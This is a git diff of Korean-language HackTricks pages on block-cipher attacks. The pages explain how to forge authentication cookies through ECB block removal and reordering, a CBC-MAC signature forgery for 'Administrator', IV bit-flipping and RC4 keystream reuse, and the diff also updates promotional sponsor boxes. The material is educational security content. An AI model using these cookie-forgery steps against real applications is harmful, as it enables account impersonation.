* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
@ -296,16 +285,17 @@ Key:
|
|||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭 공유.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,47 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) 전자 코드 북 - 각 블록의 평문을 암호문 블록으로 **대체**하는 대칭 암호화 방식입니다. 가장 **간단한** 암호화 방식입니다. 주요 아이디어는 평문을 N 비트 블록(입력 데이터 블록 크기, 암호화 알고리즘에 따라 다름)으로 **분할**한 다음, 유일한 키를 사용하여 각 평문 블록을 암호화(복호화)하는 것입니다.
|
||||
(ECB) 전자 코드북 - 각 **평문 블록을 암호문 블록으로 대체**하는 대칭 암호화 방식입니다. 이는 **가장 간단한** 암호화 방식입니다. 주요 아이디어는 평문을 **N 비트 블록**으로 분할하고(입력 데이터 블록 크기, 암호화 알고리즘에 따라 다름) 그런 다음 단 하나의 키를 사용하여 각 평문 블록을 암호화(복호화)하는 것입니다.
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
|
||||
ECB 사용은 여러 보안 문제를 야기할 수 있습니다:
|
||||
|
||||
* 암호화된 메시지의 **블록이 제거**될 수 있습니다.
|
||||
* 암호화된 메시지의 **블록이 이동**될 수 있습니다.
|
||||
* **암호화된 메시지의 블록을 제거할 수 있음**
|
||||
* **암호화된 메시지의 블록을 이동할 수 있음**
|
||||
|
||||
# 취약점 탐지
|
||||
|
||||
어떤 애플리케이션에 여러 번 로그인하고 항상 **동일한 쿠키**를 받는다고 상상해보세요. 이는 애플리케이션의 쿠키가 **`<사용자명>|<비밀번호>`**인 것입니다.\
|
||||
그런 다음, **동일한 긴 비밀번호**와 **거의** **동일한** **사용자명**을 가진 새로운 사용자를 생성합니다.\
|
||||
두 사용자의 정보가 동일한 **8B 블록**이 **동일**함을 발견합니다. 그럼 이것은 아마도 **ECB가 사용되고 있을 수 있다는 것**을 상상해볼 수 있습니다.
|
||||
어떤 응용 프로그램에 여러 번 로그인하고 **항상 동일한 쿠키**를 받는다고 상상해보세요. 이는 응용 프로그램의 쿠키가 **`<사용자명>|<비밀번호>`**인 경우입니다.\
|
||||
그런 다음 **거의** **동일한 사용자명**과 **동일한 긴 비밀번호**를 가진 새로운 사용자 2명을 생성합니다.\
|
||||
**두 사용자의 정보가 동일한 8바이트 블록**인 것을 발견합니다. 그런 다음 이것이 **ECB가 사용 중**이기 때문일 수 있다고 상상합니다.
|
||||
|
||||
다음 예시와 같이, 이 **2개의 디코딩된 쿠키**에는 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**이 포함되어 있음을 관찰하세요.
|
||||
다음 예제와 같이, 이러한 **2개의 디코딩된 쿠키**가 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**을 가지고 있음을 관찰하세요.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
이는 해당 쿠키의 **사용자 이름과 비밀번호에 여러 번 "a" 문자가 포함**되어 있기 때문입니다. **다른 블록**은 적어도 1개의 다른 문자(아마도 구분 기호 "|" 또는 사용자 이름에 필요한 차이)가 포함된 블록입니다.
|
||||
이것은 **쿠키의 사용자 이름과 비밀번호에 여러 번 "a" 문자가 포함**되어 있기 때문입니다. **다른 블록**은 **적어도 1개의 다른 문자**를 포함한 블록입니다(아마도 구분 기호 "|" 또는 사용자 이름에 필요한 차이).
|
||||
|
||||
이제 공격자는 형식이 `<사용자 이름><구분 기호><비밀번호>` 또는 `<비밀번호><구분 기호><사용자 이름>`인지 알아내기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호를 가진 여러 사용자 이름**을 생성하여 형식과 구분 기호의 길이를 찾을 수 있습니다:
|
||||
이제 공격자는 형식이 `<사용자 이름><구분 기호><비밀번호>`인지 아니면 `<비밀번호><구분 기호><사용자 이름>`인지 발견하기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호를 가진 여러 사용자 이름을 생성하여 형식과 구분 기호의 길이를 찾을 때까지 시도할 수 있습니다:**
|
||||
|
||||
| 사용자 이름 길이 | 비밀번호 길이 | 사용자 이름+비밀번호 길이 | 쿠키의 길이 (디코딩 후): |
|
||||
| 사용자 이름 길이: | 비밀번호 길이: | 사용자 이름+비밀번호 길이: | 디코딩 후 쿠키의 길이: |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
|
@ -52,43 +53,28 @@ ECB 사용은 여러 보안 문제를 야기할 수 있습니다:
|
|||
|
||||
## 전체 블록 제거
|
||||
|
||||
쿠키의 형식(`<사용자 이름>|<비밀번호>`)을 알고 있다면, 사용자 이름 `admin`을 가장하려면 `aaaaaaaaadmin`이라는 새 사용자를 생성하고 쿠키를 가져와 디코딩하면 됩니다:
|
||||
쿠키의 형식을 알고 있다면 (`<사용자 이름>|<비밀번호>`), 사용자 이름 `admin`을 피해자로 만들기 위해 `aaaaaaaaadmin`이라는 새 사용자를 생성하고 쿠키를 가져와 디코딩하세요:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
이전에 'a'만을 포함한 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`을 볼 수 있습니다.\
|
||||
그런 다음, 첫 번째 8B 블록을 제거하면 사용자 이름이 `admin`인 유효한 쿠키를 얻을 수 있습니다.
|
||||
우리는 이전에 `a`만 포함한 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`을 볼 수 있습니다.\
|
||||
그런 다음, 첫 번째 블록인 8B를 제거하면 사용자 이름이 `admin`인 유효한 쿠키를 얻을 수 있습니다:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## 블록 이동
|
||||
|
||||
많은 데이터베이스에서 `WHERE username='admin';` 또는 `WHERE username='admin ';` (추가 공백에 주목)와 같이 검색하는 것은 동일합니다.
|
||||
많은 데이터베이스에서 `WHERE username='admin';` 또는 `WHERE username='admin ';`를 검색하는 것은 동일합니다. _(추가된 공백에 주목)_
|
||||
|
||||
따라서, 사용자 `admin`을 표현하는 또 다른 방법은 다음과 같습니다:
|
||||
따라서 사용자 `admin`을 표현하는 또 다른 방법은 다음과 같습니다:
|
||||
|
||||
* `len(<username>) + len(<delimiter) % len(block)`와 같이 길이가 `8B`인 블록을 사용하여 `username `이라는 이름의 사용자 이름을 생성할 수 있습니다. 구분자 `|`와 함께 청크 `<username><delimiter>`는 8B의 2개 블록을 생성합니다.
|
||||
* 그런 다음, 원하는 사용자 이름과 공백이 포함된 블록의 정확한 수를 채우는 비밀번호를 생성합니다. 예를 들어, `admin `입니다.
|
||||
* 다음을 만족하는 사용자 이름을 생성합니다: `len(<username>) + len(<delimiter) % len(block)`. 블록 크기가 `8B`인 경우 `username `라는 사용자 이름을 생성할 수 있으며, 구분 기호 `|`와 함께 청크 `<username><delimiter>`는 8B 블록 2개를 생성합니다.
|
||||
* 그런 다음, 사용자 이름과 공백이 포함된 정확한 수의 블록을 채우는 비밀번호를 생성합니다. 예를 들어: `admin `
|
||||
|
||||
이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 첫 번째 2개는 사용자 이름 + 구분자 블록이고 세 번째는 비밀번호 블록입니다 (사용자 이름을 가장한 것입니다): `username |admin `
|
||||
이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 처음 2개는 사용자 이름 + 구분 기호의 블록이고, 세 번째는 사용자 이름을 위조하는 비밀번호의 블록입니다: `username |admin `
|
||||
|
||||
**그런 다음, 첫 번째 블록을 마지막 블록으로 대체하면 사용자 `admin`을 표현하게 됩니다: `admin |username`**
|
||||
**그런 다음, 첫 번째 블록을 마지막 블록으로 교체하면 사용자 `admin`을 표현하게 됩니다: `admin |username`**
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
만약 RC4를 사용하여 평문을 암호화할 수 있다면, 암호화 함수를 사용하여 동일한 비밀번호로 암호화된 모든 내용을 복호화할 수 있습니다.
|
||||
만약 RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 해당 RC4로 암호화된 모든 내용을 복호화할 수 있습니다.
|
||||
|
||||
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. HTB Kryptos 머신에서 더 많은 참고 자료를 찾을 수 있습니다:
|
||||
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
@ -25,16 +26,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,83 +1,83 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
**쿠키**가 **사용자 이름**만 있는 경우 (또는 쿠키의 첫 번째 부분이 사용자 이름인 경우) "**admin**" 사용자 이름을 가장하고 싶다면, **"bdmin"** 사용자 이름을 생성하고 쿠키의 **첫 번째 바이트**를 무차별 대입(bruteforce)할 수 있습니다.
|
||||
만약 **쿠키**가 **사용자 이름**만을 포함하고 있고 사용자 이름을 "**admin**"으로 변조하고 싶다면, 사용자 이름을 **"bdmin"**으로 만들고 쿠키의 **첫 번째 바이트**를 **bruteforce**할 수 있습니다.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하고, 각 블록의 암호화가 이전 블록과 연결되도록 작동합니다. 이 과정은 **블록 체인**을 생성하여 원본 메시지의 단 하나의 비트라도 변경하면 암호화된 데이터의 마지막 블록에 예측할 수 없는 변경이 발생하도록 합니다. 이러한 변경을 수행하거나 되돌리기 위해서는 암호화 키가 필요하여 보안이 보장됩니다.
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하여 작동하며, 각 블록의 암호화는 이전 블록과 연결됩니다. 이 과정은 **블록 체인**을 생성하여 원본 메시지의 단 하나의 비트라도 변경되면 암호화된 데이터의 마지막 블록에 예측할 수 없는 변경이 발생하도록 합니다. 이러한 변경을 수행하거나 되돌리려면 암호화 키가 필요하여 보안을 보장합니다.
|
||||
|
||||
메시지 m의 CBC-MAC을 계산하기 위해, m을 초기화 벡터를 0으로 설정하여 CBC 모드로 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 메시지의 CBC-MAC을 계산하는 과정을 스케치한 것입니다:
|
||||
메시지 m의 CBC-MAC를 계산하려면 m을 초기화 벡터를 0으로 사용하여 CBC 모드로 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 메시지의 CBC-MAC를 계산하는 과정을 스케치로 나타냅니다:
|
||||
|
||||
![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)를 사용하여 블록으로 구성된 메시지의 CBC-MAC 계산
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)
|
||||
|
||||
# 취약점
|
||||
|
||||
CBC-MAC에서 일반적으로 사용되는 **IV는 0**입니다.\
|
||||
이는 알려진 두 개의 메시지 (`m1` 및 `m2`)가 독립적으로 2개의 서명 (`s1` 및 `s2`)을 생성한다는 문제가 있습니다. 따라서:
|
||||
일반적으로 CBC-MAC에서 **사용된 IV는 0**입니다.\
|
||||
이것은 2개의 알려진 메시지(`m1` 및 `m2`)가 독립적으로 2개의 서명(`s1` 및 `s2`)을 생성할 수 있는 문제를 야기합니다. 따라서:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
그런 다음 m1과 m2를 연결한 메시지 (m3)는 2개의 서명 (s31 및 s32)을 생성합니다:
|
||||
그런 다음 m1과 m2를 연결한 메시지(m3)는 2개의 서명(s31 및 s32)을 생성합니다:
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**암호화의 키를 알지 못해도 계산할 수 있습니다.**
|
||||
**암호화 키를 알지 못해도 이를 계산할 수 있습니다.**
|
||||
|
||||
8바이트 블록으로 이름 **Administrator**를 암호화하는 경우를 상상해보세요:
|
||||
예를 들어, **Administrator**를 **8바이트** 블록으로 암호화하는 경우:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
**Administ** (m1)라는 사용자 이름을 생성하고 서명 (s1)을 검색할 수 있습니다.\
|
||||
그런 다음, `rator\00\00\00 XOR s1`의 결과로 된 사용자 이름을 생성할 수 있습니다. 이렇게 하면 `E(m2 XOR s1 XOR 0)`를 생성하게 되고 이는 s32입니다.\
|
||||
이제 s32를 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다.
|
||||
**Administ**라는 사용자 이름(m1)을 만들고 서명(s1)을 검색할 수 있습니다.\
|
||||
그런 다음 `rator\00\00\00 XOR s1`의 결과를 사용자 이름으로 하는 사용자를 만들 수 있습니다. 이렇게 하면 `E(m2 XOR s1 XOR 0)`가 생성되어 s32가 됩니다.\
|
||||
이제 s32를 사용하여 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다.
|
||||
|
||||
### 요약
|
||||
|
||||
1. 사용자 이름 **Administ** (m1)의 서명인 s1을 얻으세요.
|
||||
2. 사용자 이름 **rator\x00\x00\x00 XOR s1 XOR 0**의 서명인 s32를 얻으세요.
|
||||
1. 사용자 이름 **Administ**의 서명(s1)을 가져옵니다.
|
||||
2. 사용자 이름 **rator\x00\x00\x00 XOR s1 XOR 0**의 서명(s32)을 가져옵니다.
|
||||
3. 쿠키를 s32로 설정하면 사용자 **Administrator**의 유효한 쿠키가 됩니다.
|
||||
|
||||
# IV 제어를 통한 공격
|
||||
# IV 제어 공격
|
||||
|
||||
IV를 제어할 수 있다면 공격은 매우 쉬워질 수 있습니다.\
|
||||
쿠키가 단순히 암호화된 사용자 이름인 경우, 사용자 "**administrator**"를 가장하려면 사용자 "**Administrator**"를 생성하고 해당 사용자의 쿠키를 얻을 수 있습니다.\
|
||||
이제 IV를 제어할 수 있다면, IV의 첫 번째 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 설정하고 사용자 **Administrator**의 쿠키를 다시 생성할 수 있습니다. 이 쿠키는 초기 **IV**로 **administrator** 사용자를 **가장할 수 있는** 유효한 쿠키가 될 것입니다.
|
||||
사용된 IV를 제어할 수 있다면 공격은 매우 쉬워질 수 있습니다.\
|
||||
쿠키가 단순히 암호화된 사용자 이름인 경우 사용자 "**administrator**"를 위조하려면 사용자 "**Administrator**"를 만들어 해당 쿠키를 얻을 수 있습니다.\
|
||||
이제 IV를 제어할 수 있다면 IV의 첫 번째 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 만들고 사용자 **Administrator**의 쿠키를 다시 생성할 수 있습니다. 이 쿠키는 초기 **IV**로 **administrator** 사용자를 위조하는 데 유효합니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
